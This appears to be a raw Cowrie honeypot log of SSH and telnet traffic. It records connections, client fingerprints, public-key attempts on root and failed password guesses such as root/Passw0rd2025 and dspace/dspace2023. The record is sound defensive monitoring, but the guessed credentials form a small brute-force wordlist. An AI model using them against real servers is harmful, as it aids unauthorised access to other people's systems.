{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:c5:b2:46:18:6a:5c:b9:3b:17:bb:7d:38:02:ca:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClUBl/ZVZp9//vAcz2Z0xYq+kovKgDdcSj+6tv3o2VRMWdyHNYUuaX5F78aU0kQ+RVKbBOldaQNqRdX38cOyvvVW9DtNqB7+jM+D+z0+K+gPQwEu2go252+yNOrCmP3k8lQ5+ru5A7e9sRLEIRq0t3OWSNehMaoKjo6SpdeCGK2H6mWhqg1BXvesLkJbQgo9KWhItuELLOqtdbyeeYSOJ/GwWkYT/Ufo0didJzraCKBR63k28Yjkon1ZiM6Ngi6DxVcga0MNk836OJ0ANmds3cBqFlB7XUYj7sK4KtHAAJXEEBLMiCfLLATyrI40M94LHF/9iEeoW8PXFiBbpfw3EV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:c5:b2:46:18:6a:5c:b9:3b:17:bb:7d:38:02:ca:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.310092Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:c5:b2:46:18:6a:5c:b9:3b:17:bb:7d:38:02:ca:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClUBl/ZVZp9//vAcz2Z0xYq+kovKgDdcSj+6tv3o2VRMWdyHNYUuaX5F78aU0kQ+RVKbBOldaQNqRdX38cOyvvVW9DtNqB7+jM+D+z0+K+gPQwEu2go252+yNOrCmP3k8lQ5+ru5A7e9sRLEIRq0t3OWSNehMaoKjo6SpdeCGK2H6mWhqg1BXvesLkJbQgo9KWhItuELLOqtdbyeeYSOJ/GwWkYT/Ufo0didJzraCKBR63k28Yjkon1ZiM6Ngi6DxVcga0MNk836OJ0ANmds3cBqFlB7XUYj7sK4KtHAAJXEEBLMiCfLLATyrI40M94LHF/9iEeoW8PXFiBbpfw3EV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.313961Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:c7:c8:b8:b4:de:ec:c4:0a:cf:aa:03:40:5e:ce:69","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO+gsB+oM/5yyi6PJtcGW0CMFa1nS5vrbq/vTl8JhwiqZbqgKuM4jYfhpweAl3pCUAoDzH9dsCpssqkoyWFMtxj1LgGiVKrkTnqNWZHpqC4sWhJQ7N1oSmarZst4xoCPsqcCN3aT7f/ByuApXwilbv/m22W0Z9g0bXIk/MCWpFbJAAAAFQDvgYf5dHt9tkWyqaGuHkKjIa0VFwAAAIALiSHUy8OvhARUrUKdCmDsmNTso6DmeF1N5dIrdW9KUbqdMpDaxSM3o4UPJlqScIvQ8UHYCmjWC7npv3VqudSdByQ0+vYajbelQzsXHXM9nf1al+LQWRTnMwpzkqSFCmjlDwoW9ZokSWPSXk8Z6usTD3tuh5psZTs8M3seH+dpQAAAAIAdBDpwnntQRAHWUGyfu+4e5KFQjFUUCvUBZhSjb2O2Jdq/T5Lx51Pb7wa59gIhWef3XKYhbP7AEyCnd1jkzsN/MS8s32+pndBWpxPB7IfYcbw/QEpC8vRH4i+589+dHXcCFY8Hsu83rn4AGvgkL8wLodLlPpO8WOVdRGaolGu6LA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 83:c7:c8:b8:b4:de:ec:c4:0a:cf:aa:03:40:5e:ce:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.395976Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:c7:c8:b8:b4:de:ec:c4:0a:cf:aa:03:40:5e:ce:69","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO+gsB+oM/5yyi6PJtcGW0CMFa1nS5vrbq/vTl8JhwiqZbqgKuM4jYfhpweAl3pCUAoDzH9dsCpssqkoyWFMtxj1LgGiVKrkTnqNWZHpqC4sWhJQ7N1oSmarZst4xoCPsqcCN3aT7f/ByuApXwilbv/m22W0Z9g0bXIk/MCWpFbJAAAAFQDvgYf5dHt9tkWyqaGuHkKjIa0VFwAAAIALiSHUy8OvhARUrUKdCmDsmNTso6DmeF1N5dIrdW9KUbqdMpDaxSM3o4UPJlqScIvQ8UHYCmjWC7npv3VqudSdByQ0+vYajbelQzsXHXM9nf1al+LQWRTnMwpzkqSFCmjlDwoW9ZokSWPSXk8Z6usTD3tuh5psZTs8M3seH+dpQAAAAIAdBDpwnntQRAHWUGyfu+4e5KFQjFUUCvUBZhSjb2O2Jdq/T5Lx51Pb7wa59gIhWef3XKYhbP7AEyCnd1jkzsN/MS8s32+pndBWpxPB7IfYcbw/QEpC8vRH4i+589+dHXcCFY8Hsu83rn4AGvgkL8wLodLlPpO8WOVdRGaolGu6LA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.399613Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:fe:cb:2e:e6:db:8d:da:a8:88:b3:6c:8f:a5:3f:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4wLk4lOvRI05Qx6P/iO0nBbJuJ8MgdB80jCjX/QsqNDBEurVBD6cn2oS1Wl6M+9GaNBdAJjnvK34bhENlLh4Xy6qxUauirXfPigze7zMEIL7Q7DE+BPWPawHgvG6vPG9mVgxW5ZIYxFQLsHH7Owk31b6oYtdEO1ylGiHRjC0JOdd5cGCQZLzI+NTTxsjzhZUkvJBX82b6/Soas0Lemfpcb08ypB2KF4n42Ik9QTPTQFSbKyYrUNo0heqjdbZFSm7POeOqhicW28AyQlAggHjrlP0Wlqfj/2YnwjOkhuwpDSMySI/OAC6FH/DnBkgborgHV95rxAXtXBZ5wGFdslULw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:fe:cb:2e:e6:db:8d:da:a8:88:b3:6c:8f:a5:3f:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.483632Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:fe:cb:2e:e6:db:8d:da:a8:88:b3:6c:8f:a5:3f:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4wLk4lOvRI05Qx6P/iO0nBbJuJ8MgdB80jCjX/QsqNDBEurVBD6cn2oS1Wl6M+9GaNBdAJjnvK34bhENlLh4Xy6qxUauirXfPigze7zMEIL7Q7DE+BPWPawHgvG6vPG9mVgxW5ZIYxFQLsHH7Owk31b6oYtdEO1ylGiHRjC0JOdd5cGCQZLzI+NTTxsjzhZUkvJBX82b6/Soas0Lemfpcb08ypB2KF4n42Ik9QTPTQFSbKyYrUNo0heqjdbZFSm7POeOqhicW28AyQlAggHjrlP0Wlqfj/2YnwjOkhuwpDSMySI/OAC6FH/DnBkgborgHV95rxAXtXBZ5wGFdslULw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.487797Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:76:2b:42:93:18:46:bb:77:8b:fe:89:b8:9c:d1:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSSLI1RQS8Ms8zPfG36TP+/a1r9AftwBzNJKbavk+Cbc1BeDlDBCgQF5C/RVXw4fuN96wi3AaO9vq25VK/+eMOth8eJC26z5vS22k++efAz6YNSoadrcoK7w+NVWAiuGaZdUNL3RswGXVumvpBtpvaLH8rWNu2G4TZXT+5SWzUyTXom9w+QjUZQRE07OwarkQrb5Os+Fh4agv+kncLUh+u5hK8lihH3p1A0ndNnavuluBzJgU5MBb3JSehuijDBx8AbGTXSn811n6H0DKgflIZ3KJwK3wPisHbyqxsL2L3v6FhJ+ht9rb9TN13hUXy+AKSszPXJquURkyDjrkw82Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:76:2b:42:93:18:46:bb:77:8b:fe:89:b8:9c:d1:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.569404Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:76:2b:42:93:18:46:bb:77:8b:fe:89:b8:9c:d1:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSSLI1RQS8Ms8zPfG36TP+/a1r9AftwBzNJKbavk+Cbc1BeDlDBCgQF5C/RVXw4fuN96wi3AaO9vq25VK/+eMOth8eJC26z5vS22k++efAz6YNSoadrcoK7w+NVWAiuGaZdUNL3RswGXVumvpBtpvaLH8rWNu2G4TZXT+5SWzUyTXom9w+QjUZQRE07OwarkQrb5Os+Fh4agv+kncLUh+u5hK8lihH3p1A0ndNnavuluBzJgU5MBb3JSehuijDBx8AbGTXSn811n6H0DKgflIZ3KJwK3wPisHbyqxsL2L3v6FhJ+ht9rb9TN13hUXy+AKSszPXJquURkyDjrkw82Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.573308Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:49.654110Z","src_ip":"62.210.199.83","session":"26d8d261d2af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46554,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a27e766b91","protocol":"telnet","message":"New connection: 152.42.224.71:46554 (10.17.0.5:23) [session: a5a27e766b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:55.019949Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":60690,"dst_ip":"159.203.135.109","dst_port":23,"session":"657848ef0d55","protocol":"telnet","message":"New connection: 209.127.178.212:60690 (159.203.135.109:23) [session: 657848ef0d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:56.056321Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45952,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea210b208dac","protocol":"ssh","message":"New connection: 103.27.238.114:45952 (10.17.0.5:22) [session: ea210b208dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:57.032446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:57.039549Z","src_ip":"103.27.238.114","session":"ea210b208dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:56:57.367489Z","src_ip":"103.27.238.114","session":"ea210b208dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13243546","message":"login attempt [root/13243546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:00.072095Z","src_ip":"103.27.238.114","session":"ea210b208dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:01.410642Z","src_ip":"103.27.238.114","session":"ea210b208dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":37992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd60009f655","protocol":"ssh","message":"New connection: 43.153.37.39:37992 (10.17.0.5:22) [session: ecd60009f655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:06.989654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:06.994424Z","src_ip":"43.153.37.39","session":"ecd60009f655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:07.063592Z","src_ip":"43.153.37.39","session":"ecd60009f655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2025","message":"login attempt [root/Passw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:07.368411Z","src_ip":"43.153.37.39","session":"ecd60009f655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:08.440785Z","src_ip":"43.153.37.39","session":"ecd60009f655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.93836832046509,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:09.330164Z","src_ip":"152.42.224.71","session":"4ff5b955154a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53500,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8700f4e1ff9","protocol":"telnet","message":"New connection: 152.42.224.71:53500 (10.17.0.5:23) [session: f8700f4e1ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:09.695980Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":41058,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40a6e4e6385","protocol":"telnet","message":"New connection: 213.108.3.46:41058 (159.203.135.109:23) [session: e40a6e4e6385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:13.061210Z"}
{"eventid":"cowrie.session.closed","duration":0.015854358673095703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:13.076938Z","src_ip":"213.108.3.46","session":"e40a6e4e6385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.63354849815369,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:13.795900Z","src_ip":"152.42.224.71","session":"8c1f0f252540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53514,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6634827391","protocol":"telnet","message":"New connection: 152.42.224.71:53514 (10.17.0.5:23) [session: 2a6634827391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:15.550417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":56776,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6a2a902ea4","protocol":"ssh","message":"New connection: 192.169.243.246:56776 (10.17.0.5:22) [session: aa6a2a902ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:16.911133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:16.915360Z","src_ip":"192.169.243.246","session":"aa6a2a902ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:16.990707Z","src_ip":"192.169.243.246","session":"aa6a2a902ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2023","message":"login attempt [root/Cloud@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:17.324658Z","src_ip":"192.169.243.246","session":"aa6a2a902ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:18.403618Z","src_ip":"192.169.243.246","session":"aa6a2a902ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.17968678474426,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:21.037563Z","src_ip":"152.42.224.71","session":"7b113a91cb43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62042737007141,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:28.676581Z","src_ip":"209.127.178.212","session":"657848ef0d55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":42698,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65ffd63b70a","protocol":"ssh","message":"New connection: 102.210.148.92:42698 (159.203.135.109:22) [session: e65ffd63b70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:33.457404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:33.466081Z","src_ip":"102.210.148.92","session":"e65ffd63b70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:33.712206Z","src_ip":"102.210.148.92","session":"e65ffd63b70a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace2023","message":"login attempt [dspace/dspace2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:34.724021Z","src_ip":"102.210.148.92","session":"e65ffd63b70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:35.974344Z","src_ip":"102.210.148.92","session":"e65ffd63b70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.43053650856018,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:38.450375Z","src_ip":"152.42.224.71","session":"a5a27e766b91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00246286392212,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:39.601264Z","src_ip":"152.42.224.71","session":"af44365c2b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"49113d10afaa","protocol":"telnet","message":"New connection: 152.42.224.71:52198 (10.17.0.5:23) [session: 49113d10afaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:46.298432Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":50540,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d8c30ab374","protocol":"ssh","message":"New connection: 43.156.28.136:50540 (159.203.135.109:22) [session: 17d8c30ab374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:57:47.168362Z"}
